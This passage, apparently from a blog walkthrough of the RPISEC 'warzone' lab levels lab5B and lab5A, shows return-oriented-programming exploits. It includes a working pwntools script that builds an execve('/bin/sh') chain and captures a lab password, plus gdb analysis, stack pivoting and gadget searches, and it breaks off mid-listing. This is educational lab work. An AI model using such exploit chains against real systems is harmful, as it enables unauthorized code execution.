...\r\n  0x0806f31b           6690  nop\r\n  0x0806f31d           6690  nop\r\n  0x0806f31f             90  nop\r\n  0x0806f320           cd80  int 0x80\r\n  0x0806f322             c3  ret\r\n  ...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Our final gadget is located at <code>0x0806f320<\/code>.<\/p>\r\n<p>The following picture illustrates our ROP-chain:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-367\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop.png\" alt=\"\" width=\"960\" height=\"720\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop-300x225.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop-768x576.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\r\n<p>Now we can create a python-script to run our exploit. I used the very comfortable module <code>pwn<\/code> (<code>pwntools<\/code>) to interact with the program:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab5B@warzone:\/levels\/lab05$ cat \/tmp\/exploit_lab5B.py\r\nfrom pwn import *\r\nimport sys\r\n\r\np = process(\".\/lab5B\")\r\n\r\n_pop_eax = 0x080e4c56\r\n_pop_ecx = 0x080e55ad\r\n_pop_edx = 0x080817f6\r\n_pop_ebx = 0x080bdecc\r\n_int_80h = 0x0806f320\r\n\r\naddr_binsh = 0xbffff6a0\r\naddr_binsh -= int(sys.argv&#x5B;1], 16)\r\n\r\nprint(p.recv(100))\r\n\r\nexpl = \"\/bin\/sh\\x00\"\r\nexpl += \"X\" * 132\r\nexpl += p32(_pop_eax)\r\nexpl += p32(0x0b)\r\nexpl += p32(_pop_ecx)\r\nexpl += p32(0x00)\r\nexpl += p32(_pop_edx)\r\nexpl += p32(0x00)\r\nexpl += p32(_pop_ebx)\r\nexpl += p32(addr_binsh)\r\nexpl += p32(_int_80h)\r\n\r\np.sendline(expl)\r\np.interactive()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>As usual I added an offset which can be set from command line when running the script since the stack addresses determined using <code>gdb<\/code> may vary a little bit:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5B@warzone:\/levels\/lab05$ python \/tmp\/exploit_lab5B.py 0x00\r\n&#x5B;+] Starting program '.\/lab5B': Done\r\nInsert ROP chain here:\r\n\r\n&#x5B;*] Switching to interactive mode\r\n&#x5B;*] Got EOF while reading in interactive\r\n$\r\n&#x5B;*] Program '.\/lab5B' stopped with exit code -11\r\n&#x5B;*] Got EOF while sending in interactive\r\nlab5B@warzone:\/levels\/lab05$ python \/tmp\/exploit_lab5B.py 0x10\r\n\r\n...\r\n\r\nlab5B@warzone:\/levels\/lab05$ python \/tmp\/exploit_lab5B.py 0x50\r\n&#x5B;+] Starting program '.\/lab5B': Done\r\nInsert ROP chain here:\r\n\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab5A\r\n$ cat \/home\/lab5A\/.pass\r\nth4ts_th3_r0p_i_lik3_2_s33\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Done! With the offset <code>0x50<\/code> our exploit worked. The password is <code>th4ts_th3_r0p_i_lik3_2_s33<\/code>.<\/p>\r\n<hr>\r\n<h1 id=\"lab5A\">lab5A<\/h1>\r\n<p>We connecting to the next level using the previously gained credentials <span style=\"color: #ff0000;\">lab5A<\/span> with the password <span style=\"color: #ff0000;\">th4ts_th3_r0p_i_lik3_2_s33<\/span>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab5A@localhost\r\nlab5A@localhost's password: (th4ts_th3_r0p_i_lik3_2_s33)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\nLast login: Mon Jan 22 21:48:01 2018 from localhost\r\n\r\n<\/pre><\/div>\r\n\r\n<p>As usual we start by analysing the source code:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; first-line: 0; highlight: [17,18,21,22,25,58,90,91]; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ cat lab5A.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\n#define STORAGE_SIZE 100\r\n\r\n\/* gcc --static -o lab5A lab5A.c *\/\r\n\r\n\/* get a number from the user and store it *\/\r\nint store_number(unsigned int * data)\r\n{\r\n    unsigned int input = 0;\r\n    int index = 0;\r\n\r\n    \/* get number to store *\/\r\n    printf(&quot; Number: &quot;);\r\n    input = get_unum();\r\n\r\n    \/* get index to store at *\/\r\n    printf(&quot; Index: &quot;);\r\n    index = (int)get_unum();\r\n\r\n    \/* make sure the slot is not reserved *\/\r\n    if(index % 3 == 0 || index &gt; STORAGE_SIZE || (input &gt;&gt; 24) == 0xb7)\r\n    {\r\n        printf(&quot; *** ERROR! ***\\n&quot;);\r\n        printf(&quot;   This index is reserved for doom!\\n&quot;);\r\n        printf(&quot;; *** ERROR! ***\\n&quot;);\r\n\r\n        return 1;\r\n    }\r\n\r\n    \/* save the number to data storage *\/\r\n    data&#x5B;index] = input;\r\n\r\n    return 0;\r\n}\r\n\r\n\/* returns the contents of a specified storage index *\/\r\nint read_number(unsigned int * data)\r\n{\r\n    int index = 0;\r\n\r\n    \/* get index to read from *\/\r\n    printf(&quot; Index: &quot;);\r\n    index = (int)get_unum();\r\n\r\n    printf(&quot; Number at data&#x5B;%d] is %u\\n&quot;, index, data&#x5B;index]);\r\n\r\n    return 0;\r\n}\r\n\r\nint main(int argc, char * argv&#x5B;], char * envp&#x5B;])\r\n{\r\n    int res = 0;\r\n    char cmd&#x5B;20] = {0};\r\n    unsigned int data&#x5B;STORAGE_SIZE] = {0};\r\n\r\n    \/* doom doesn&#039;t like enviroment variables *\/\r\n    clear_argv(argv);\r\n    clear_envp(envp);\r\n\r\n    printf(&quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;  Welcome to doom&#039;s crappy number storage service!  \\n&quot;\\\r\n           &quot;          Version 2.0 - With more security!         \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot; Commands:                                          \\n&quot;\\\r\n           &quot;    store - store a number into the data storage    \\n&quot;\\\r\n           &quot;    read  - read a number from the data storage     \\n&quot;\\\r\n           &quot;    quit  - exit the program                        \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;   doom has reserved some storage for himself :&gt;    \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;\\n&quot;);\r\n\r\n    \/* command handler loop *\/\r\n    while(1)\r\n    {\r\n        \/* setup for this loop iteration *\/\r\n        printf(&quot;Input command: &quot;);\r\n        res = 1;\r\n\r\n        \/* read user input, trim newline *\/\r\n        fgets(cmd, sizeof(cmd), stdin);\r\n        cmd&#x5B;strlen(cmd)-1] = &#039;\\0&#039;;\r\n\r\n        \/* select specified user command *\/\r\n        if(!strncmp(cmd, &quot;store&quot;, 5))\r\n            res = store_number(data);\r\n        else if(!strncmp(cmd, &quot;read&quot;, 4))\r\n            res = read_number(data);\r\n        else if(!strncmp(cmd, &quot;quit&quot;, 4))\r\n            break;\r\n\r\n        \/* print the result of our command *\/\r\n        if(res)\r\n            printf(&quot; Failed to do %s command\\n&quot;, cmd);\r\n        else\r\n            printf(&quot; Completed %s command successfully\\n&quot;, cmd);\r\n\r\n        memset(cmd, 0, sizeof(cmd));\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n\r\n<\/pre><\/div>\r\n\r\n<p>You may have noticed that the source code is quite similar to the source code of <a href=\"https:\/\/devel0pment.de\/?p=351\">lab3A<\/a>.<\/p>\r\n<p>What does the program do?<br>\r\n&#8211;&gt; Within the <code>main<\/code> function a 400 byte <code>unsigned integer<\/code> array called <code>data<\/code> is created (line 58).<br>\r\n&#8211;&gt; We can trigger the function <code>store_number<\/code> with the command <code>store<\/code> (line 90-91).<br>\r\n&#8211;&gt; The function reads a number as an <code>unsigned integer<\/code> and an index which is cast to an <code>integer<\/code> (line 17-18, 21-22).<br>\r\n&#8211;&gt; On line 25 the prerequisites for the index and the number are examined:<br>\r\n&#8211; <code>index<\/code> modulo <code>3<\/code> should not equal <code>0<\/code>.<br>\r\n&#8211; <code>index<\/code> should not be greater than <code>STORAGE_SIZE<\/code> (<code>100<\/code>).<br>\r\n&#8211; the most significant byte of <code>number<\/code> should not be <code>0xb7<\/code>.<br>\r\n&#8211;&gt; If these conditions are met, the entered number is stored in <code>data[index]<\/code><\/p>\r\n<p>What are the differences to the program of lab3A?<br>\r\n&#8211;&gt; The binary has not been compiled with the <code>-z execstack<\/code> option and thus we cannot store and execute shellcode on the stack (we will use ROP).<br>\r\n&#8211;&gt; In lab3A the index was an <code>unsigned integer<\/code> and was not cast to an <code>integer<\/code>.<br>\r\n&#8211;&gt; In lab3A there was no check if <code>index<\/code> is greater than <code>STORAGE_SIZE<\/code>.<\/p>\r\n<p>What does that mean?<br>\r\n&#8211;&gt; In lab3A we could just overwrite the return address of the function <code>main<\/code> because we could write <u>beyond<\/u> the memory for <code>data<\/code>.<br>\r\n&#8211;&gt; This time we can enter a negative index and thus write <u>before<\/u> the memory for <code>data<\/code>.<br>\r\n&#8211;&gt; That means that we cannot overwrite the return address of <code>main<\/code>, but we <u>can<\/u> overwrite the return address of <code>store_number<\/code>.<\/p>\r\n<p>The following picture illustrates the stack layout:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-368\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_02.png\" alt=\"\" width=\"567\" height=\"642\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_02.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_02-265x300.png 265w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\r\n<p>At first we determine the location of the return address of the function <code>store_number<\/code> using <code>gdb<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3,10,12,14,29,30,46,52]; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ gdb lab5A\r\nReading symbols from lab5A...(no debugging symbols found)...done.\r\ngdb-peda$ disassemble store_number\r\nDump of assembler code for function store_number:\r\n   0x08048eae &lt;+0&gt;:     push   ebp\r\n   0x08048eaf &lt;+1&gt;:     mov    ebp,esp\r\n   0x08048eb1 &lt;+3&gt;:     sub    esp,0x28\r\n   ...\r\n   0x08048f62 &lt;+180&gt;:   leave\r\n   0x08048f63 &lt;+181&gt;:   ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *store_number+181\r\nBreakpoint 1 at 0x8048f63\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab05\/lab5A\r\n----------------------------------------------------\r\n  Welcome to doom&#039;s crappy number storage service!\r\n          Version 2.0 - With more security!\r\n----------------------------------------------------\r\n Commands:\r\n    store - store a number into the data storage\r\n    read  - read a number from the data storage\r\n    quit  - exit the program\r\n----------------------------------------------------\r\n   doom has reserved some storage for himself :&gt;\r\n----------------------------------------------------\r\n\r\nInput command: store\r\n Number: 1\r\n Index: 1\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0xbffff568 --&gt; 0x0\r\nECX: 0x1\r\nEDX: 0xbffff56c --&gt; 0x1\r\nESI: 0x0\r\nEDI: 0xbffff6f8 (&quot;store&quot;)\r\nEBP: 0xbffff728 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:       push   ebx)\r\nESP: 0xbffff53c --&gt; 0x804912e (&lt;main+378&gt;:      mov    DWORD PTR &#x5B;esp+0x24],eax)\r\nEIP: 0x8048f63 (&lt;store_number+181&gt;:     ret)\r\nEFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048f5b &lt;store_number+173&gt;:        mov    DWORD PTR &#x5B;edx],eax\r\n   0x8048f5d &lt;store_number+175&gt;:        mov    eax,0x0\r\n   0x8048f62 &lt;store_number+180&gt;:        leave\r\n=&gt; 0x8048f63 &lt;store_number+181&gt;:        ret\r\n   0x8048f64 &lt;read_number&gt;:     push   ebp\r\n   0x8048f65 &lt;read_number+1&gt;:   mov    ebp,esp\r\n   0x8048f67 &lt;read_number+3&gt;:   sub    esp,0x28\r\n   0x8048f6a &lt;read_number+6&gt;:   mov    DWORD PTR &#x5B;ebp-0xc],0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff53c --&gt; 0x804912e (&lt;main+378&gt;:     mov    DWORD PTR &#x5B;esp+0x24],eax)\r\n0004| 0xbffff540 --&gt; 0xbffff568 --&gt; 0x0\r\n0008| 0xbffff544 --&gt; 0x80bfa48 (&quot;store&quot;)\r\n0012| 0xbffff548 --&gt; 0x5\r\n0016| 0xbffff54c --&gt; 0x0\r\n0020| 0xbffff550 --&gt; 0x0\r\n0024| 0xbffff554 --&gt; 0x0\r\n0028| 0xbffff558 --&gt; 0xbffff814 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048f63 in store_number ()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>I just set a breakpoint on the <code>ret<\/code> instruction of <code>store_number<\/code>, started the program an entered some numbers. When the breakpoint is hit, we can examine the return address is on top of the stack. The address is located at <code>0xbffff53c<\/code>.<\/p>\r\n<p>Now we also need the address of the buffer <code>data<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,8,10,24,40,48]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   ...\r\n   0x08049126 &lt;+370&gt;:   mov    DWORD PTR &#x5B;esp],eax\r\n   0x08049129 &lt;+373&gt;:   call   0x8048eae &lt;store_number&gt;\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *main+373\r\nBreakpoint 2 at 0x8049129\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab05\/lab5A\r\n----------------------------------------------------\r\n  Welcome to doom&#039;s crappy number storage service!\r\n          Version 2.0 - With more security!\r\n----------------------------------------------------\r\n Commands:\r\n    store - store a number into the data storage\r\n    read  - read a number from the data storage\r\n    quit  - exit the program\r\n----------------------------------------------------\r\n   doom has reserved some storage for himself :&gt;\r\n----------------------------------------------------\r\n\r\nInput command: store\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xbffff568 --&gt; 0x0\r\nEBX: 0xbffff568 --&gt; 0x0\r\nECX: 0x80bfa4c --&gt; 0x65720065 (&#039;e&#039;)\r\nEDX: 0x72 (&#039;r&#039;)\r\nESI: 0x0\r\nEDI: 0xbffff6f8 (&quot;store&quot;)\r\nEBP: 0xbffff728 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:       push   ebx)\r\nESP: 0xbffff540 --&gt; 0xbffff568 --&gt; 0x0\r\nEIP: 0x8049129 (&lt;main+373&gt;:     call   0x8048eae &lt;store_number&gt;)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8049120 &lt;main+364&gt;:        jne    0x8049134 &lt;main+384&gt;\r\n   0x8049122 &lt;main+366&gt;:        lea    eax,&#x5B;esp+0x28]\r\n   0x8049126 &lt;main+370&gt;:        mov    DWORD PTR &#x5B;esp],eax\r\n=&gt; 0x8049129 &lt;main+373&gt;:        call   0x8048eae &lt;store_number&gt;\r\n   0x804912e &lt;main+378&gt;:        mov    DWORD PTR &#x5B;esp+0x24],eax\r\n   0x8049132 &lt;main+382&gt;:        jmp    0x80491a4 &lt;main+496&gt;\r\n   0x8049134 &lt;main+384&gt;:        mov    DWORD PTR &#x5B;esp+0x8],0x4\r\n   0x804913c &lt;main+392&gt;:        mov    DWORD PTR &#x5B;esp+0x4],0x80bfa4e\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbffff568 --&gt; 0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff540 --&gt; 0xbffff568 --&gt; 0x0\r\n0004| 0xbffff544 --&gt; 0x80bfa48 (&quot;store&quot;)\r\n0008| 0xbffff548 --&gt; 0x5\r\n0012| 0xbffff54c --&gt; 0x0\r\n0016| 0xbffff550 --&gt; 0x0\r\n0020| 0xbffff554 --&gt; 0x0\r\n0024| 0xbffff558 --&gt; 0xbffff814 --&gt; 0x0\r\n0028| 0xbffff55c --&gt; 0xbffff7b8 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x08049129 in main ()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>As <code>data<\/code> is passed as an argument to <code>store_number<\/code> we can set a breakpoint right before the call and examine the stack. <code>data<\/code> is located at <code>0xbffff568<\/code>.<\/p>\r\n<p>Now we can calculate the offset:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ python -c 'print(0xbffff53c-0xbffff568)'\r\n-44\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The offset of the return address of the function <code>store_number<\/code> from the buffer data is <code>-44<\/code>. Thus the index we need to use in order to overwrite the return address is <code>-44 \/ 4 = -11<\/code>.<\/p>\r\n<p>Let&#8217;s quickly verify that:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,15,16,17,19,29,44,45]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab05\/lab5A\r\n----------------------------------------------------\r\n  Welcome to doom&#039;s crappy number storage service!\r\n          Version 2.0 - With more security!\r\n----------------------------------------------------\r\n Commands:\r\n    store - store a number into the data storage\r\n    read  - read a number from the data storage\r\n    quit  - exit the program\r\n----------------------------------------------------\r\n   doom has reserved some storage for himself :&gt;\r\n----------------------------------------------------\r\n\r\nInput command: store\r\n Number: 1094795585\r\n Index: -11\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0xbffff568 --&gt; 0x0\r\nECX: 0xfffffffe\r\nEDX: 0xbffff53c (&quot;AAAAh\\365\\377\\277H\\372\\v\\b&quot;)\r\nESI: 0x0\r\nEDI: 0xbffff6f8 (&quot;store&quot;)\r\nEBP: 0xbffff728 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:       push   ebx)\r\nESP: 0xbffff540 --&gt; 0xbffff568 --&gt; 0x0\r\nEIP: 0x41414141 (&#039;AAAA&#039;)\r\nEFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x41414141\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff540 --&gt; 0xbffff568 --&gt; 0x0\r\n0004| 0xbffff544 --&gt; 0x80bfa48 (&quot;store&quot;)\r\n0008| 0xbffff548 --&gt; 0x5\r\n0012| 0xbffff54c --&gt; 0x0\r\n0016| 0xbffff550 --&gt; 0x0\r\n0020| 0xbffff554 --&gt; 0x0\r\n0024| 0xbffff558 --&gt; 0xbffff814 --&gt; 0x0\r\n0028| 0xbffff55c --&gt; 0xbffff7b8 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x41414141 in ?? ()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>I entered <code>1094795585<\/code> which equals <code>0x41414141<\/code> in hex and stored this value at index <code>-11<\/code>. As assumed <code>eip<\/code> is set to <code>0x41414141<\/code> and the program raises a segmentation fault. Thus the most important step is done: we control the instruction pointer.<\/p>\r\n<p>The next thing to do is to build our ROP-chain calling <code>sys_execve(\"\/bin\/sh\")<\/code>. We already did this in the last level but now we are bound to some restrictions:<\/p>\r\n<p>(1) We cannot use the memory right after the return address we overwrite.<br>\r\n(2) Within the buffer <code>data<\/code> we have chunks of 8 bytes, following by 4 bytes which we cannot write to.<\/p>\r\n<p>We will deal with these two restrictions one after the other:<\/p>\r\n<h2>(1) stack pivoting<\/h2>\r\n<p>In the last level we overwrote the return address with the address of our first gadget and placed all following gadgets and required values right after this. If you have a look at the picture above again you will notice that after the return address of <code>store_number<\/code> the argument for the function, followed by locals of <code>main<\/code> are stored. Overwriting these values will mess up the program or our values just get overwritten. In order to tackle this problem we can use a technique called <i>Stack Pivoting<\/i>. When we are able to execute only one gadget but control another area on the stack (the actual memory reserved for <code>data<\/code>), we should look for a gadget which manipulates <code>esp<\/code> so that it points to the memory we control.<\/p>\r\n<p>The following picture illustrates how our first gadget should redirect <code>esp<\/code> to the memory region we can write to without messing anything up:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-369\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_03.png\" alt=\"\" width=\"907\" height=\"415\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_03.png 907w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_03-300x137.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_03-768x351.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\r\n<p>How much bytes must be added to <code>esp<\/code>?<br>\r\n&#8211;&gt; The address of the first gadget will be placed at <code>0xbffff53c<\/code>.<br>\r\n&#8211;&gt; <code>data<\/code> is located at <code>0xbffff568<\/code>.<br>\r\n&#8211;&gt; We cannot write to the first entry of <code>data<\/code> since <code>0 % 3 == 0<\/code>.<\/p>\r\n<p>Thus we need to redirect the <code>esp<\/code> from <code>0xbffff53c + 4<\/code> (since the address of the first gadget is popped of the stack) to <code>0xbffff568 + 4<\/code> (since we want to store the next gadget in <code>data[1]<\/code>):\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ python -c 'print((0xbffff568+4) - (0xbffff53c+4))'\r\n44\r\n\r\n<\/pre><\/div>\r\n\r\n<p>This means that we need to look for a gadget which will add <code>44 = 0x2c<\/code> to <code>esp<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ add esp,0x2c;ret&quot;\r\n&#x5B;0x08048d2a]&gt;\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Unfortunately no hit. But as always there are plenty of ways to do things and since the binary was linked statically there are thousands of gadgets:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ add esp,*;pop*;ret&quot;\r\nDo you want to print 1973 lines? (y\/N)\r\n...\r\n  0x08079869         83c420  add esp, 0x20\r\n  0x0807986c             5b  pop ebx\r\n  0x0807986d             5e  pop esi\r\n  0x0807986e             5f  pop edi\r\n  0x0807986f             c3  ret\r\n...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>This gadget adds <code>0x20 = 32<\/code> to <code>esp<\/code>. So there are still 12 bytes missing. Luckily there are three <code>pop<\/code> instruction, which will each increment <code>esp<\/code> by <code>4<\/code>. Thus <code>esp<\/code> gets incremented by 32 + 4 + 4 + 4 = 44 (0x2C)!<\/p>\r\n<h2>(2) 8 byte chunks<\/h2>\r\n<p>Because of the restriction <code>index % 3 != 0<\/code> we can only write two adjacent 4-byte values, followed by 4 reserved bytes:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-370\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_04.png\" alt=\"\" width=\"264\" height=\"378\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_04.png 264w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_04-210x300.png 210w\" sizes=\"(max-width: 264px) 100vw, 264px\" \/><\/p>\r\n<p>This means that we must prevent our ROP-chain from running into a reserved 4-byte chunk:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-371\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_05.png\" alt=\"\" width=\"302\" height=\"189\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_05.png 302w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_05-300x188.png 300w\" sizes=\"(max-width: 302px) 100vw, 302px\" \/><\/p>\r\n<p>This can be done if we find gadgets which also manipulate the stack. If we want to store a value for example into <code>ebx<\/code>, we can do this by using a gadget which pops to <code>eax<\/code> followed by another <code>pop<\/code> and a <code>ret<\/code> instruction. The second pop will take the reserved value from the stack. We cannot use this value by this way, the <code>ret<\/code> will take an address we control. Yet again there are plenty of ways to do things.<\/p>\r\n<p>The picture shows two examples of how to avoid running into the reserved memory:<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-372\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_06.png\" alt=\"\" width=\"680\" height=\"226\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_06.png 680w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/rop_06-300x100.png 300w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/><\/p>\r\n<p>I ended up with the following gadgets:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop*;pop*;ret&quot;\r\n  ...\r\n  0x080bf697     e814aaf9ff  call 0x805a0b0\r\n  0x080bf69c         83c414  add esp, 0x14\r\n  0x080bf69f             5b  pop ebx\r\n  0x080bf6a0             5e  pop esi\r\n  0x080bf6a1             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop edi;ret&quot;\r\n  ...\r\n  0x08096f85             5f  pop edi\r\n  0x08096f86             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ mov ecx*;ret&quot;\r\n  ...\r\n  0x0805befc     b9ffffffff  mov ecx, 0xffffffff\r\n  0x0805bf01         0f42c1  cmovb eax, ecx\r\n  0x0805bf04             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ inc ecx;ret&quot;\r\n  ...\r\n  0x080e9e40             41  inc ecx\r\n  0x080e9e41             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop edx;pop*;ret&quot;\r\n  ...\r\n  0x080695a5             5a  pop edx\r\n  0x080695a6           31c0  xor eax, eax\r\n  0x080695a8             5f  pop edi\r\n  0x080695a9             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ ret&quot;\r\n  ...\r\n  0x08096f86             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ add eax, 0xb&quot;\r\n  ...\r\n  0x08096f82         83c00b  add eax, 0xb\r\n  0x08096f85             5f  pop edi\r\n  0x08096f86             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; 